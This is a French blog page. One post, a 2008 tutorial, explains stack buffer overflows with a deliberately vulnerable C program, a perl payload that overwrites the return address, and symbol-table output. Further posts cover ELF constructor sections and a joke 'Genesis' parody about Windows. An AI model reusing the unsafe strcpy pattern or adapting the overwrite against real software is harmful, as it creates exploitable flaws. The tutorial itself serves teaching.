samedi 22 novembre 2008

Détournement du flux d' execution d' un programme

Ici je vais m' interreser au détournement du flux d' execution d' un programme en C, on s' apercois que c' est assez simple de faire sauter le programme a une adresse choisi et de lui faire executer le code, a condition biensur d' avoir une faille de type "buffer overflow" dans le programme.Voici le code qui va me permettre de le faire:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copier(char *chaine){
        char buffer[50];
        strcpy(buffer, chaine);
}
void detourne(){
         printf("-== OPERATION REUSSI ==-\n");
}
int main(int argc, char **argv){
        if(argc < 2){
        fprintf(stderr, "hey donne un argument !!\n");
        exit(EXIT_FAILURE);
} else {
        copier(argv[1]);
}
return EXIT_SUCCESS;
}


j' ai volontairement écris la fonction copier() qui apel la fonction strcpy() et biensur strcpy() ne controle pas le nombre de caractères qui va être écris dans la variable buffer qui elle ne peut en contenir que 50.
Voila le résultat que j' obtient en envoyant 54 'A' + l' adresse de la fonction detourne dans argv[1] :
$ ./bof $(perl -e 'print "A" x 54 . "\x4e\x84\x04\x08"')
-== OPERATION REUSSI ==-
Erreur de segmentation

Tout marche bien comme prévu le programme en écrasant les 8 octets suivant le buffer en mémoire a bien sauté a l' adresse de la fonction détourne.
Je pourrais m' arreter la mais il reste quand même beaucoup de questions sans réponse, qu' est ce que j' ai éraser exactement ?

En ce penchant sur l' assembleur on voit que le processeur a plusieur registres, celui qui nous intéresse ici est le registre EIP, ce registre contient toujour l' adresse de la prochaine instruction a executer, juste avec cette info on peut deja imaginer ce qu' il c' est passé.
A l' apel de la fonction copier(), il va ce créer un bloc d' activation pour cette fonction, c' est à dire un espace mémoire (stack ou pile) ou sera stocké le contexte de la fonction, les variables locales (buffer), l' ancien debut du bloc d' activation de la fonction appelante (EBP), puis l' adresse de retour de la fonction (EIP) dans l' ordre. On peut representer simplement la mémoire de cette facon:
[ buffer | EBP | EIP ]
Comme je l' ai dit au dessus EIP contient l' adresse de la prochaine instruction à executer, donc maintenant on peut comprendre pourquoi j' ai du envoyer 54 'A' + l' adresse de la fonction detourne().
Mes 50 premier 'A' on rempli le buffer, j' en est rajouté 4 pour écraser EBP et j' ai rajouté l' adresse de la fonction detourne() qui est sur 4 octets aussi.Donc après avoir copié tout ca dans le buffer la mémoire peut être representez comme ca:
[ AAAAAAAAAA | AAAA | adresse de la fonction detourne ]

Pour trouver l' adresse de la fonction detourne je ne me suis pas embeter :
$ nm ./bof
080495dc d _DYNAMIC
080496b0 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
w _Jv_RegisterClasses
080495cc d __CTOR_END__
080495c8 d __CTOR_LIST__
080495d4 d __DTOR_END__
080495d0 d __DTOR_LIST__
080485c4 r __FRAME_END__
080495d8 d __JCR_END__
080495d8 d __JCR_LIST__
080496e0 A __bss_start
080496d4 D __data_start
08048540 t __do_global_ctors_aux
080483e0 t __do_global_dtors_aux
080496d8 D __dso_handle
w __gmon_start__
0804853a T __i686.get_pc_thunk.bx
080495c8 d __init_array_end
080495c8 d __init_array_start
080484d0 T __libc_csu_fini
080484e0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
080496e0 A _edata
080496e8 A _end
0804856c T _fini
08048588 R _fp_hw
0804830c T _init
080483b0 T _start
080496e4 b completed.5843
08048434 T copier
080496d4 W data_start
0804844e T detourne <--- l' adresse ici
U exit@@GLIBC_2.0
08048410 t frame_dummy
U fwrite@@GLIBC_2.0
08048462 T main
080496dc d p.5841
U puts@@GLIBC_2.0
080496e0 B stderr@@GLIBC_2.0
U strcpy@@GLIBC_2.0

La commande nm permet d' obtenir la liste des symbols.

Les sections .ctors / .dtors

Quand on lance par exemple la commande :
$ size -A -x /bin/ls
/bin/ls :
section size addr
.interp 0x13 0x8048134
.note.ABI-tag 0x20 0x8048148
.hash 0x32c 0x8048168 <-- table de hash
.gnu.hash 0x5c 0x8048494 <-- table de hash
.dynsym 0x680 0x80484f0 <-- table des symboles
.dynstr 0x477 0x8048b70 <-- table des noms
.gnu.version 0xd0 0x8048fe8
.gnu.version_r 0xc0 0x80490b8
.rel.dyn 0x28 0x8049178 <-- table de relocation
.rel.plt 0x2e0 0x80491a0 <-- table de relocation
.init 0x30 0x8049480
.plt 0x5d0 0x80494b0
.text 0x104bc 0x8049a80 <-- intruction du programme (r)
.fini 0x1c 0x8059f3c
.rodata 0x3e4c 0x8059f60 <-- variables globales et statiques constante (r)
.eh_frame_hdr 0x2c 0x805ddac
.eh_frame 0xcc 0x805ddd8
.ctors 0x8 0x805e000 <-- constructeur
.dtors 0x8 0x805e008 <-- destructeur
.jcr 0x4 0x805e010
.dynamic 0xe8 0x805e014
.got 0x8 0x805e0fc
.got.plt 0x17c 0x805e104
.data 0x110 0x805e280 <-- variables globales et statiques initialisés (r+w)
.bss 0x46c 0x805e3a0 <-- variables globales et statiques non initialisés (r+w)
.gnu_debuglink 0x8 0x0
Total 0x1656a

Bon il y a les sections connue , .text, .data, .rodata etc ... mais pour ceu qui ne ce sont jamais demander ce que sont les sections .ctors et .dtors voici une petite explication .
En C un peu comme dans une class en PHP il y a un constructeur (.ctors) et un destructeur (.dtors).
Donc le constructeur et est appeler automatiquement au début du programme et le destructeur automatiquement à la fin . Voila un bout de code qui présente le fonctionnement :
#include
#include

static void constructeur(void)__attribute__((constructor));
static void destructeur(void)__attribute__((destructor));

int main(int argc, char** argv)
{
        printf("Dans la fonction main()\n");

    return EXIT_SUCCESS;
}
void destructeur(void)
{
        printf("Dans le destructeur\n");
}
void constructeur(void)
{
        printf("Dans le constructeur\n");
}

vendredi 21 novembre 2008

La génèse

Au commencement Dieu créa le digit. Il prit ensuite huit digits pour créer un octet.
Or, la mémoire était vide ; seuls les crayons et les gommes couvraient la surface du bureau.
Dieu sépara alors le zéro et le un, et il vit que cela était bon.
Dieu dit : "Que les données soient !" Et il en fut ainsi.

Et Dieu dit : "Plaçons les données dans leurs lieux respectifs."
Et il créa les disquettes, les disques durs et les CD-ROM.
Mais le logiciel n'existait pas encore.
Alors Dieu créa les programmes ; grands et petits.
Dieu leur dit : "Allez et multipliez-vous, remplissez toute la mémoire."

Dieu dit alors : "Je créerai le programmeur. Et le programmeur créera de nouveaux programmes et gouvernera les ordinateurs, les programmes et les données."
Dieu créa le programmeur, et il le mit dans le centre de données.

Et Dieu montra au programmeur le répertoire et lui dit :
"Tu peux utiliser tous les volumes et sous-répertoires, mais n'utilise pas Windows."


Alors Dieu dit : "Il n'est pas bon que le programmeur soit seul."
Il prit un OS du corps du programmeur et il créa une créature qui regardait le programmeur, qui admirait le programmeur, qui aimait les choses faites par le programmeur. Dieu nomma la créature "Utilisateur".
Il laissa le programmeur et l'Utilisateur nus dans le DOS, et il vit que cela était bon.

Mais Bill était plus malin que toutes les créatures de Dieu.
Bill dit à l'utilisateur : "Dieu t'a-t-il vraiment dit de ne pas utiliser tous les programmes ?"

L'utilisateur répondit : "Dieu a dit que nous pouvions utiliser n'importe quel programme et n'importe quel bloc de données, mais il nous a dit de ne pas utiliser Windows parce que nous pourrions mourir."

Et Bill dit à l'utilisateur : "Comment peux-tu parler de quelque chose que tu n'as même pas essayé ? Dès que tu utiliseras Windows tu seras l'égal de Dieu. Tu seras capable de créer tout ce que tu voudras, rien qu'en touchant la souris."

Et l'utilisateur vit que les fruits de Windows étaient meilleurs et plus faciles à utiliser.
Il vit aussi que toute connaissance était inutile, puisque Windows pouvait la remplacer.

Alors l'utilisateur installa Windows dans son ordinateur ; et il dit au programmeur que cela était bon.

Le programmeur commença à chercher de nouveaux pilotes.

Alors Dieu lui dit : "Que cherches-tu ?"
Le programmeur répondit : "Je cherche de nouveaux pilotes, parce que je ne peux pas les trouver dans le DOS."

Dieu lui répondit : "Qui t'a dit que tu avais besoin de nouveaux pilotes, n'aurais-tu pas utilisé Windows par exemple ?"

Le programmeur lui répondit : "C'est Bill qui nous l'a dit."

Alors Dieu dit à Bill :
"Pour ce que tu as fait, tu seras haï par toutes les créatures et l'utilisateur sera toujours mécontent de toi. Pire encore, tu seras condamné à ne jamais vendre que Windows."

Dieu dit encore à l'utilisateur :
"Pour ce que tu as fait, Windows te trompera et consommera toutes tes ressources et tu ne pourras acheter que de mauvais programmes que tu utiliseras dans la douleur et tu seras toujours sous la tutelle du programmeur."

Dieu dit enfin au programmeur :
"Pour n'avoir pas écouté l'utilisateur, tu ne seras jamais heureux. Tous tes programmes seront farcis d'erreurs, tu crouleras sous les fiches de bugs et tu seras condamné à les corriger et à les recorriger jusqu'à la fin des temps."

Dieu les expulsa tous du centre de données et il en bloqua la porte avec un mot de passe.

Puis Dieu se ravisa et se dit qu'il n'était pas juste que tous soient punis par la faute d'un seul.

Alors il créa la pomme pour narguer Bill, et le pingouin pour libérer les hommes.

PS :
La pomme est le logo d’Apple Computer Inc.
Le pingouin est le logo de Linux (logiciel libre)